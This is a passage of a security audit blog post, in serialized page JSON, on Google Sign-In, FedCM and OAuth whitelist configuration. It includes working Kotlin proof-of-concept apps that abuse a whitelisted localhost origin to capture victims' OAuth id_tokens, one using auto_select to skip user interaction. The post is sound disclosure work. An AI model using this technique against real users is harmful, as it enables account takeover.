RP.",{"type":23,"tag":18130,"props":99004,"children":99006},{"id":99005},"gsi-new-flow",[99007],{"type":28,"value":99008},"GSI (New Flow)",{"type":23,"tag":24,"props":99010,"children":99011},{},[99012],{"type":28,"value":99013},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":23,"tag":127,"props":99015,"children":99016},{},[99017,99022],{"type":23,"tag":88,"props":99018,"children":99019},{},[99020],{"type":28,"value":99021},"Using FedCM API",{"type":23,"tag":88,"props":99023,"children":99024},{},[99025],{"type":28,"value":99026},"Without using FedCM API",{"type":23,"tag":24,"props":99028,"children":99029},{},[99030],{"type":28,"value":99031},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":23,"tag":24,"props":99033,"children":99034},{},[99035],{"type":23,"tag":721,"props":99036,"children":99037},{},[99038],{"type":28,"value":99039},"FedCM Method",{"type":23,"tag":24,"props":99041,"children":99042},{},[99043,99045,99052],{"type":28,"value":99044},"The FedCM method basically follows this ",{"type":23,"tag":31,"props":99046,"children":99049},{"href":99047,"rel":99048},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[35],[99050],{"type":28,"value":99051},"user experience",{"type":28,"value":99053},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":23,"tag":24,"props":99055,"children":99056},{},[99057,99059],{"type":28,"value":99058},"The normal flow, clicking the \"sign in\" button:\n",{"type":23,"tag":197,"props":99060,"children":99062},{"alt":49829,"src":99061},"/posts/oauth-misconfigurations/image1.png",[],{"type":23,"tag":24,"props":99064,"children":99065},{},[99066,99068],{"type":28,"value":99067},"One-Tap popup shown when you open the page:\n",{"type":23,"tag":197,"props":99069,"children":99071},{"alt":49829,"src":99070},"/posts/oauth-misconfigurations/image2.png",[],{"type":23,"tag":24,"props":99073,"children":99074},{},[99075,99077,99084],{"type":28,"value":99076},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":23,"tag":31,"props":99078,"children":99081},{"href":99079,"rel":99080},"https://github.com/w3c-fedid/FedCM/issues/429",[35],[99082],{"type":28,"value":99083},"FedCM auto-reauthentication",{"type":28,"value":99085},", which has certain preconditions that must be met.",{"type":23,"tag":24,"props":99087,"children":99088},{},[99089],{"type":23,"tag":721,"props":99090,"children":99091},{},[99092],{"type":28,"value":99093},"Non-FedCM Method",{"type":23,"tag":24,"props":99095,"children":99096},{},[99097,99099,99104],{"type":28,"value":99098},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":23,"tag":94,"props":99100,"children":99102},{"className":99101},[],[99103],{"type":28,"value":98993},{"type":28,"value":3746},{"type":23,"tag":84,"props":99106,"children":99107},{},[99108,99113,99137,99142,99153],{"type":23,"tag":88,"props":99109,"children":99110},{},[99111],{"type":28,"value":99112},"The user clicks the sign in button",{"type":23,"tag":88,"props":99114,"children":99115},{},[99116,99118,99124,99126,99131,99132],{"type":28,"value":99117},"RP opens a popup/iframe to ",{"type":23,"tag":31,"props":99119,"children":99122},{"href":99120,"rel":99121},"https://accounts.google.com/o/oauth2/v2/auth",[35],[99123],{"type":28,"value":99120},{"type":28,"value":99125}," with some important parameters like ",{"type":23,"tag":94,"props":99127,"children":99129},{"className":99128},[],[99130],{"type":28,"value":68850},{"type":28,"value":557},{"type":23,"tag":94,"props":99133,"children":99135},{"className":99134},[],[99136],{"type":28,"value":39383},{"type":23,"tag":88,"props":99138,"children":99139},{},[99140],{"type":28,"value":99141},"The user clicks the \"Continue\" button to authorize authentication",{"type":23,"tag":88,"props":99143,"children":99144},{},[99145,99147],{"type":28,"value":99146},"They get redirected to ",{"type":23,"tag":31,"props":99148,"children":99151},{"href":99149,"rel":99150},"https://accounts.google.com/gsi/transform",[35],[99152],{"type":28,"value":99149},{"type":23,"tag":88,"props":99154,"children":99155},{},[99156,99158,99163],{"type":28,"value":99157},"/gsi/transform sends the token back to the RP via ",{"type":23,"tag":94,"props":99159,"children":99161},{"className":99160},[],[99162],{"type":28,"value":98993},{"type":28,"value":99164}," (after some SYN/ACK messages)",{"type":23,"tag":18130,"props":99166,"children":99168},{"id":99167},"oauth-20-old-flow",[99169],{"type":28,"value":99170},"OAuth 2.0 Old Flow",{"type":23,"tag":24,"props":99172,"children":99173},{},[99174,99176,99181],{"type":28,"value":99175},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":23,"tag":94,"props":99177,"children":99179},{"className":99178},[],[99180],{"type":28,"value":69018},{"type":28,"value":99182}," provided in the URL and validated by a whitelist configuration:",{"type":23,"tag":84,"props":99184,"children":99185},{},[99186,99190,99211,99215],{"type":23,"tag":88,"props":99187,"children":99188},{},[99189],{"type":28,"value":99112},{"type":23,"tag":88,"props":99191,"children":99192},{},[99193,99194,99199,99200,99205,99206],{"type":28,"value":99117},{"type":23,"tag":31,"props":99195,"children":99197},{"href":99120,"rel":99196},[35],[99198],{"type":28,"value":99120},{"type":28,"value":99125},{"type":23,"tag":94,"props":99201,"children":99203},{"className":99202},[],[99204],{"type":28,"value":68850},{"type":28,"value":557},{"type":23,"tag":94,"props":99207,"children":99209},{"className":99208},[],[99210],{"type":28,"value":69018},{"type":23,"tag":88,"props":99212,"children":99213},{},[99214],{"type":28,"value":99141},{"type":23,"tag":88,"props":99216,"children":99217},{},[99218,99219,99224,99226],{"type":28,"value":99146},{"type":23,"tag":94,"props":99220,"children":99222},{"className":99221},[],[99223],{"type":28,"value":69018},{"type":28,"value":99225}," with the token in the query parameters or ",{"type":23,"tag":94,"props":99227,"children":99229},{"className":99228},[],[99230],{"type":28,"value":99231},"location.hash",{"type":23,"tag":18130,"props":99233,"children":99235},{"id":99234},"different-configurations",[99236],{"type":28,"value":99237},"Different Configurations",{"type":23,"tag":24,"props":99239,"children":99240},{},[99241],{"type":28,"value":99242},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":23,"tag":127,"props":99244,"children":99245},{},[99246,99251],{"type":23,"tag":88,"props":99247,"children":99248},{},[99249],{"type":28,"value":99250},"Authorized origins",{"type":23,"tag":88,"props":99252,"children":99253},{},[99254],{"type":28,"value":99255},"Authorized redirect URIs",{"type":23,"tag":24,"props":99257,"children":99258},{},[99259],{"type":23,"tag":197,"props":99260,"children":99262},{"alt":49829,"src":99261},"/posts/oauth-misconfigurations/image3.png",[],{"type":23,"tag":24,"props":99264,"children":99265},{},[99266,99268,99273],{"type":28,"value":99267},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":23,"tag":94,"props":99269,"children":99271},{"className":99270},[],[99272],{"type":28,"value":68850},{"type":28,"value":282},{"type":23,"tag":24,"props":99275,"children":99276},{},[99277,99279,99285,99287,99292],{"type":28,"value":99278},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":23,"tag":94,"props":99280,"children":99282},{"className":99281},[],[99283],{"type":28,"value":99284},"/oauth2/v2/auth",{"type":28,"value":99286}," by checking the ",{"type":23,"tag":94,"props":99288,"children":99290},{"className":99289},[],[99291],{"type":28,"value":39383},{"type":28,"value":99293}," query parameter.",{"type":23,"tag":24,"props":99295,"children":99296},{},[99297,99299,99304,99306,99311],{"type":28,"value":99298},"In the old flow, the ",{"type":23,"tag":94,"props":99300,"children":99302},{"className":99301},[],[99303],{"type":28,"value":69018},{"type":28,"value":99305}," parameter passed in the ",{"type":23,"tag":94,"props":99307,"children":99309},{"className":99308},[],[99310],{"type":28,"value":99284},{"type":28,"value":99312}," endpoint is validated against the authorized redirect URIs.",{"type":23,"tag":24,"props":99314,"children":99315},{},[99316,99318,99323,99325,99332],{"type":28,"value":99317},"Note that the new GSI flow can also have a different flow using ",{"type":23,"tag":94,"props":99319,"children":99321},{"className":99320},[],[99322],{"type":28,"value":69018},{"type":28,"value":99324}," validation. To execute this flow, you need to specify ",{"type":23,"tag":31,"props":99326,"children":99329},{"href":99327,"rel":99328},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[35],[99330],{"type":28,"value":99331},"login_uri",{"type":28,"value":99333}," while using the SDK.",{"type":23,"tag":837,"props":99335,"children":99337},{"id":99336},"localhost-exploit",[99338],{"type":28,"value":99339},"Localhost Exploit",{"type":23,"tag":24,"props":99341,"children":99342},{},[99343,99345,99351],{"type":28,"value":99344},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":23,"tag":94,"props":99346,"children":99348},{"className":99347},[],[99349],{"type":28,"value":99350},"localhost",{"type":28,"value":99352}," origin because it is considered trusted for local testing.",{"type":23,"tag":24,"props":99354,"children":99355},{},[99356],{"type":28,"value":99357},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":23,"tag":18130,"props":99359,"children":99361},{"id":99360},"exploit",[99362],{"type":28,"value":99363},"Exploit",{"type":23,"tag":24,"props":99365,"children":99366},{},[99367,99369,99374,99375,99381],{"type":28,"value":99368},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":23,"tag":94,"props":99370,"children":99372},{"className":99371},[],[99373],{"type":28,"value":99231},{"type":28,"value":515},{"type":23,"tag":94,"props":99376,"children":99378},{"className":99377},[],[99379],{"type":28,"value":99380},"location.search",{"type":28,"value":99382},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":23,"tag":304,"props":99384,"children":99388},{"className":99385,"code":99386,"language":99387,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.hash;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n","kt",[99389],{"type":23,"tag":94,"props":99390,"children":99391},{"__ignoreMap":7},[99392,99421,99440,99447,99454,99473,99484,99495,99526,99549,99596,99603,99610,99617,99624,99644,99675,99686,99693,99700,99719,99742,99753,99772,99787,99798,99821,99856,99875,99882,99893,99916,99927,99939,99946,99953,99960,99967,99974,100001],{"type":23,"tag":314,"props":99393,"children":99394},{"class":316,"line":317},[99395,99400,99404,99408,99412,99416],{"type":23,"tag":314,"props":99396,"children":99397},{"style":321},[99398],{"type":28,"value":99399}," override",{"type":23,"tag":314,"props":99401,"children":99402},{"style":321},[99403],{"type":28,"value":5462},{"type":23,"tag":314,"props":99405,"children":99406},{"style":332},[99407],{"type":28,"value":69706},{"type":23,"tag":314,"props":99409,"children":99410},{"style":338},[99411],{"type":28,"value":69711},{"type":23,"tag":314,"props":99413,"children":99414},{"style":2674},[99415],{"type":28,"value":69716},{"type":23,"tag":314,"props":99417,"children":99418},{"style":338},[99419],{"type":28,"value":99420},"?){\n",{"type":23,"tag":314,"props":99422,"children":99423},{"class":316,"line":370},[99424,99428,99432,99436],{"type":23,"tag":314,"props":99425,"children":99426},{"style":321},[99427],{"type":28,"value":69729},{"type":23,"tag":314,"props":99429,"children":99430},{"style":338},[99431],{"type":28,"value":282},{"type":23,"tag":314,"props":99433,"children":99434},{"style":332},[99435],{"type":28,"value":69738},{"type":23,"tag":314,"props":99437,"children":99438},{"style":338},[99439],{"type":28,"value":69743},{"type":23,"tag":314,"props":99441,"children":99442},{"class":316,"line":380},[99443],{"type":23,"tag":314,"props":99444,"children":99445},{"emptyLinePlaceholder":18},[99446],{"type":28,"value":1088},{"type":23,"tag":314,"props":99448,"children":99449},{"class":316,"line":1091},[99450],{"type":23,"tag":314,"props":99451,"children":99452},{"style":374},[99453],{"type":28,"value":69758},{"type":23,"tag":314,"props":99455,"children":99456},{"class":316,"line":1141},[99457,99461,99465,99469],{"type":23,"tag":314,"props":99458,"children":99459},{"style":332},[99460],{"type":28,"value":69766},{"type":23,"tag":314,"props":99462,"children":99463},{"style":338},[99464],{"type":28,"value":69771},{"type":23,"tag":314,"props":99466,"children":99467},{"style":332},[99468],{"type":28,"value":69776},{"type":23,"tag":314,"props":99470,"children":99471},{"style":338},[99472],{"type":28,"value":1449},{"type":23,"tag":314,"props":99474,"children":99475},{"class":316,"line":1173},[99476,99480],{"type":23,"tag":314,"props":99477,"children":99478},{"style":2284},[99479],{"type":28,"value":69788},{"type":23,"tag":314,"props":99481,"children":99482},{"style":338},[99483],{"type":28,"value":1449},{"type":23,"tag":314,"props":99485,"children":99486},{"class":316,"line":1208},[99487,99491],{"type":23,"tag":314,"props":99488,"children":99489},{"style":332},[99490],{"type":28,"value":69800},{"type":23,"tag":314,"props":99492,"children":99493},{"style":338},[99494],{"type":28,"value":6990},{"type":23,"tag":314,"props":99496,"children":99497},{"class":316,"line":1216},[99498,99502,99506,99510,99514,99518,99522],{"type":23,"tag":314,"props":99499,"children":99500},{"style":338},[99501],{"type":28,"value":69812},{"type":23,"tag":314,"props":99503,"children":99504},{"style":332},[99505],{"type":28,"value":69817},{"type":23,"tag":314,"props":99507,"children":99508},{"style":338},[99509],{"type":28,"value":341},{"type":23,"tag":314,"props":99511,"children":99512},{"style":1245},[99513],{"type":28,"value":69826},{"type":23,"tag":314,"props":99515,"children":99516},{"style":338},[99517],{"type":28,"value":778},{"type":23,"tag":314,"props":99519,"children":99520},{"style":1245},[99521],{"type":28,"value":69835},{"type":23,"tag":314,"props":99523,"children":99524},{"style":338},[99525],{"type":28,"value":2414},{"type":23,"tag":314,"props":99527,"children":99528},{"class":316,"line":1301},[99529,99533,99537,99541,99545],{"type":23,"tag":314,"props":99530,"children":99531},{"style":338},[99532],{"type":28,"value":69847},{"type":23,"tag":314,"props":99534,"children":99535},{"style":321},[99536],{"type":28,"value":47661},{"type":23,"tag":314,"props":99538,"children":99539},{"style":338},[99540],{"type":28,"value":69856},{"type":23,"tag":314,"props":99542,"children":99543},{"style":2674},[99544],{"type":28,"value":69861},{"type":23,"tag":314,"props":99546,"children":99547},{"style":338},[99548],{"type":28,"value":367},{"type":23,"tag":314,"props":99550,"children":99551},{"class":316,"line":1343},[99552,99556,99560,99564,99568,99572,99576,99580,99584,99588,99592],{"type":23,"tag":314,"props":99553,"children":99554},{"style":338},[99555],{"type":28,"value":69812},{"type":23,"tag":314,"props":99557,"children":99558},{"style":332},[99559],{"type":28,"value":50705},{"type":23,"tag":314,"props":99561,"children":99562},{"style":338},[99563],{"type":28,"value":341},{"type":23,"tag":314,"props":99565,"children":99566},{"style":1245},[99567],{"type":28,"value":69826},{"type":23,"tag":314,"props":99569,"children":99570},{"style":338},[99571],{"type":28,"value":778},{"type":23,"tag":314,"props":99573,"children":99574},{"style":1245},[99575],{"type":28,"value":69893},{"type":23,"tag":314,"props":99577,"children":99578},{"style":321},[99579],{"type":28,"value":33357},{"type":23,"tag":314,"props":99581,"children":99582},{"style":354},[99583],{"type":28,"value":69902},{"type":23,"tag":314,"props":99585,"children":99586},{"style":321},[99587],{"type":28,"value":33389},{"type":23,"tag":314,"props":99589,"children":99590},{"style":1245},[99591],{"type":28,"value":19297},{"type":23,"tag":314,"props":99593,"children":99594},{"style":338},[99595],{"type":28,"value":69915},{"type":23,"tag":314,"props":99597,"children":99598},{"class":316,"line":1351},[99599],{"type":23,"tag":314,"props":99600,"children":99601},{"style":338},[99602],{"type":28,"value":58136},{"type":23,"tag":314,"props":99604,"children":99605},{"class":316,"line":1387},[99606],{"type":23,"tag":314,"props":99607,"children":99608},{"style":338},[99609],{"type":28,"value":2602},{"type":23,"tag":314,"props":99611,"children":99612},{"class":316,"line":1422},[99613],{"type":23,"tag":314,"props":99614,"children":99615},{"emptyLinePlaceholder":18},[99616],{"type":28,"value":1088},{"type":23,"tag":314,"props":99618,"children":99619},{"class":316,"line":1430},[99620],{"type":23,"tag":314,"props":99621,"children":99622},{"style":374},[99623],{"type":28,"value":69944},{"type":23,"tag":314,"props":99625,"children":99626},{"class":316,"line":1452},[99627,99631,99635,99639],{"type":23,"tag":314,"props":99628,"children":99629},{"style":321},[99630],{"type":28,"value":69952},{"type":23,"tag":314,"props":99632,"children":99633},{"style":338},[99634],{"type":28,"value":69957},{"type":23,"tag":314,"props":99636,"children":99637},{"style":354},[99638],{"type":28,"value":1102},{"type":23,"tag":314,"props":99640,"children":99641},{"style":1245},[99642],{"type":28,"value":99643}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":314,"props":99645,"children":99646},{"class":316,"line":1497},[99647,99651,99655,99659,99663,99667,99671],{"type":23,"tag":314,"props":99648,"children":99649},{"style":321},[99650],{"type":28,"value":69952},{"type":23,"tag":314,"props":99652,"children":99653},{"style":338},[99654],{"type":28,"value":69978},{"type":23,"tag":314,"props":99656,"children":99657},{"style":354},[99658],{"type":28,"value":1102},{"type":23,"tag":314,"props":99660,"children":99661},{"style":332},[99662],{"type":28,"value":69987},{"type":23,"tag":314,"props":99664,"children":99665},{"style":338},[99666],{"type":28,"value":69992},{"type":23,"tag":314,"props":99668,"children":99669},{"style":332},[99670],{"type":28,"value":38459},{"type":23,"tag":314,"props":99672,"children":99673},{"style":338},[99674],{"type":28,"value":70001},{"type":23,"tag":314,"props":99676,"children":99677},{"class":316,"line":1539},[99678,99682],{"type":23,"tag":314,"props":99679,"children":99680},{"style":332},[99681],{"type":28,"value":70009},{"type":23,"tag":314,"props":99683,"children":99684},{"style":338},[99685],{"type":28,"value":70014},{"type":23,"tag":314,"props":99687,"children":99688},{"class":316,"line":1548},[99689],{"type":23,"tag":314,"props":99690,"children":99691},{"style":338},[99692],{"type":28,"value":2610},{"type":23,"tag":314,"props":99694,"children":99695},{"class":316,"line":1584},[99696],{"type":23,"tag":314,"props":99697,"children":99698},{"emptyLinePlaceholder":18},[99699],{"type":28,"value":1088},{"type":23,"tag":314,"props":99701,"children":99702},{"class":316,"line":1617},[99703,99707,99711,99715],{"type":23,"tag":314,"props":99704,"children":99705},{"style":321},[99706],{"type":28,"value":70036},{"type":23,"tag":314,"props":99708,"children":99709},{"style":321},[99710],{"type":28,"value":5462},{"type":23,"tag":314,"props":99712,"children":99713},{"style":332},[99714],{"type":28,"value":70045},{"type":23,"tag":314,"props":99716,"children":99717},{"style":338},[99718],{"type":28,"value":14977},{"type":23,"tag":314,"props":99720,"children":99721},{"class":316,"line":1625},[99722,99726,99730,99734,99738],{"type":23,"tag":314,"props":99723,"children":99724},{"style":332},[99725],{"type":28,"value":70057},{"type":23,"tag":314,"props":99727,"children":99728},{"style":338},[99729],{"type":28,"value":70062},{"type":23,"tag":314,"props":99731,"children":99732},{"style":354},[99733],{"type":28,"value":1102},{"type":23,"tag":314,"props":99735,"children":99736},{"style":1054},[99737],{"type":28,"value":70071},{"type":23,"tag":314,"props":99739,"children":99740},{"style":338},[99741],{"type":28,"value":367},{"type":23,"tag":314,"props":99743,"children":99744},{"class":316,"line":1660},[99745,99749],{"type":23,"tag":314,"props":99746,"children":99747},{"style":332},[99748],{"type":28,"value":70083},{"type":23,"tag":314,"props":99750,"children":99751},{"style":338},[99752],{"type":28,"value":1449},{"type":23,"tag":314,"props":99754,"children":99755},{"class":316,"line":1708},[99756,99760,99764,99768],{"type":23,"tag":314,"props":99757,"children":99758},{"style":321},[99759],{"type":28,"value":70095},{"type":23,"tag":314,"props":99761,"children":99762},{"style":338},[99763],{"type":28,"value":341},{"type":23,"tag":314,"props":99765,"children":99766},{"style":1245},[99767],{"type":28,"value":70104},{"type":23,"tag":314,"props":99769,"children":99770},{"style":338},[99771],{"type":28,"value":367},{"type":23,"tag":314,"props":99773,"children":99774},{"class":316,"line":1743},[99775,99779,99783],{"type":23,"tag":314,"props":99776,"children":99777},{"style":338},[99778],{"type":28,"value":70116},{"type":23,"tag":314,"props":99780,"children":99781},{"style":332},[99782],{"type":28,"value":70121},{"type":23,"tag":314,"props":99784,"children":99785},{"style":338},[99786],{"type":28,"value":1449},{"type":23,"tag":314,"props":99788,"children":99789},{"class":316,"line":1751},[99790,99794],{"type":23,"tag":314,"props":99791,"children":99792},{"style":332},[99793],{"type":28,"value":70133},{"type":23,"tag":314,"props":99795,"children":99796},{"style":338},[99797],{"type":28,"value":1449},{"type":23,"tag":314,"props":99799,"children":99800},{"class":316,"line":1791},[99801,99805,99809,99813,99817],{"type":23,"tag":314,"props":99802,"children":99803},{"style":332},[99804],{"type":28,"value":70145},{"type":23,"tag":314,"props":99806,"children":99807},{"style":338},[99808],{"type":28,"value":70150},{"type":23,"tag":314,"props":99810,"children":99811},{"style":354},[99812],{"type":28,"value":1102},{"type":23,"tag":314,"props":99814,"children":99815},{"style":1245},[99816],{"type":28,"value":70159},{"type":23,"tag":314,"props":99818,"children":99819},{"style":338},[99820],{"type":28,"value":2414},{"type":23,"tag":314,"props":99822,"children":99823},{"class":316,"line":1805},[99824,99828,99832,99836,99840,99844,99848,99852],{"type":23,"tag":314,"props":99825,"children":99826},{"style":332},[99827],{"type":28,"value":70145},{"type":23,"tag":314,"props":99829,"children":99830},{"style":338},[99831],{"type":28,"value":70175},{"type":23,"tag":314,"props":99833,"children":99834},{"style":354},[99835],{"type":28,"value":1102},{"type":23,"tag":314,"props":99837,"children":99838},{"style":1245},[99839],{"type":28,"value":70184},{"type":23,"tag":314,"props":99841,"children":99842},{"style":338},[99843],{"type":28,"value":70189},{"type":23,"tag":314,"props":99845,"children":99846},{"style":354},[99847],{"type":28,"value":1102},{"type":23,"tag":314,"props":99849,"children":99850},{"style":1245},[99851],{"type":28,"value":70198},{"type":23,"tag":314,"props":99853,"children":99854},{"style":338},[99855],{"type":28,"value":2414},{"type":23,"tag":314,"props":99857,"children":99858},{"class":316,"line":1818},[99859,99863,99867,99871],{"type":23,"tag":314,"props":99860,"children":99861},{"style":332},[99862],{"type":28,"value":70210},{"type":23,"tag":314,"props":99864,"children":99865},{"style":338},[99866],{"type":28,"value":341},{"type":23,"tag":314,"props":99868,"children":99869},{"style":1245},[99870],{"type":28,"value":70219},{"type":23,"tag":314,"props":99872,"children":99873},{"style":338},[99874],{"type":28,"value":2414},{"type":23,"tag":314,"props":99876,"children":99877},{"class":316,"line":1873},[99878],{"type":23,"tag":314,"props":99879,"children":99880},{"style":338},[99881],{"type":28,"value":70231},{"type":23,"tag":314,"props":99883,"children":99884},{"class":316,"line":1891},[99885,99889],{"type":23,"tag":314,"props":99886,"children":99887},{"style":332},[99888],{"type":28,"value":70239},{"type":23,"tag":314,"props":99890,"children":99891},{"style":338},[99892],{"type":28,"value":1449},{"type":23,"tag":314,"props":99894,"children":99895},{"class":316,"line":1899},[99896,99900,99904,99908,99912],{"type":23,"tag":314,"props":99897,"children":99898},{"style":332},[99899],{"type":28,"value":70251},{"type":23,"tag":314,"props":99901,"children":99902},{"style":338},[99903],{"type":28,"value":1242},{"type":23,"tag":314,"props":99905,"children":99906},{"style":354},[99907],{"type":28,"value":1130},{"type":23,"tag":314,"props":99909,"children":99910},{"style":1245},[99911],{"type":28,"value":70264},{"type":23,"tag":314,"props":99913,"children":99914},{"style":338},[99915],{"type":28,"value":8845},{"type":23,"tag":314,"props":99917,"children":99918},{"class":316,"line":1944},[99919,99923],{"type":23,"tag":314,"props":99920,"children":99921},{"style":332},[99922],{"type":28,"value":70276},{"type":23,"tag":314,"props":99924,"children":99925},{"style":338},[99926],{"type":28,"value":1449},{"type":23,"tag":314,"props":99928,"children":99929},{"class":316,"line":2008},[99930,99934],{"type":23,"tag":314,"props":99931,"children":99932},{"style":354},[99933],{"type":28,"value":70288},{"type":23,"tag":314,"props":99935,"children":99936},{"style":1245},[99937],{"type":28,"value":99938},"\"document.body.innerText = location.hash;\"\n",{"type":23,"tag":314,"props":99940,"children":99941},{"class":316,"line":2043},[99942],{"type":23,"tag":314,"props":99943,"children":99944},{"style":338},[99945],{"type":28,"value":70301},{"type":23,"tag":314,"props":99947,"children":99948},{"class":316,"line":22803},[99949],{"type":23,"tag":314,"props":99950,"children":99951},{"style":338},[99952],{"type":28,"value":70231},{"type":23,"tag":314,"props":99954,"children":99955},{"class":316,"line":22845},[99956],{"type":23,"tag":314,"props":99957,"children":99958},{"style":338},[99959],{"type":28,"value":70316},{"type":23,"tag":314,"props":99961,"children":99962},{"class":316,"line":22878},[99963],{"type":23,"tag":314,"props":99964,"children":99965},{"style":338},[99966],{"type":28,"value":70324},{"type":23,"tag":314,"props":99968,"children":99969},{"class":316,"line":22886},[99970],{"type":23,"tag":314,"props":99971,"children":99972},{"style":338},[99973],{"type":28,"value":58136},{"type":23,"tag":314,"props":99975,"children":99976},{"class":316,"line":22894},[99977,99981,99985,99989,99993,99997],{"type":23,"tag":314,"props":99978,"children":99979},{"style":338},[99980],{"type":28,"value":70339},{"type":23,"tag":314,"props":99982,"children":99983},{"style":332},[99984],{"type":28,"value":70344},{"type":23,"tag":314,"props":99986,"children":99987},{"style":338},[99988],{"type":28,"value":70349},{"type":23,"tag":314,"props":99990,"children":99991},{"style":354},[99992],{"type":28,"value":1102},{"type":23,"tag":314,"props":99994,"children":99995},{"style":321},[99996],{"type":28,"value":11717},{"type":23,"tag":314,"props":99998,"children":99999},{"style":338},[100000],{"type":28,"value":2414},{"type":23,"tag":314,"props":100002,"children":100003},{"class":316,"line":22903},[100004],{"type":23,"tag":314,"props":100005,"children":100006},{"style":338},[100007],{"type":28,"value":2610},{"type":23,"tag":24,"props":100009,"children":100010},{},[100011],{"type":28,"value":100012},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":23,"tag":24,"props":100014,"children":100015},{},[100016,100018,100024],{"type":28,"value":100017},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":23,"tag":94,"props":100019,"children":100021},{"className":100020},[],[100022],{"type":28,"value":100023},"auto_select",{"type":28,"value":100025}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":23,"tag":304,"props":100027,"children":100029},{"className":99385,"code":100028,"language":99387,"meta":7,"style":7}," override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n title(\"Test\")\n script {\n src = \"https://accounts.google.com/gsi/client\"\n attributes[\"async\"] = \"\"\n attributes[\"defer\"] = \"\"\n }\n script {\n unsafe {\n +\"\"\"\n function handleCredentialResponse(response) {\n alert(\"credential: \" + response.credential);\n }\n\n window.onload = async function () {\n const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n const client_id = oauth_url.searchParams.get(\"client_id\");\n google.accounts.id.initialize({\n client_id: client_id,\n callback: handleCredentialResponse,\n auto_select: true\n });\n\n google.accounts.id.renderButton(\n document.getElementById(\"g_id_signin\"),\n { theme: \"outline\", size: \"large\" }\n );\n\n google.accounts.id.prompt();\n };\n \"\"\".trimIndent()\n }\n }\n }\n body {\n h1 { +\"Login here:\" }\n div {\n id = \"g_id_signin\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n 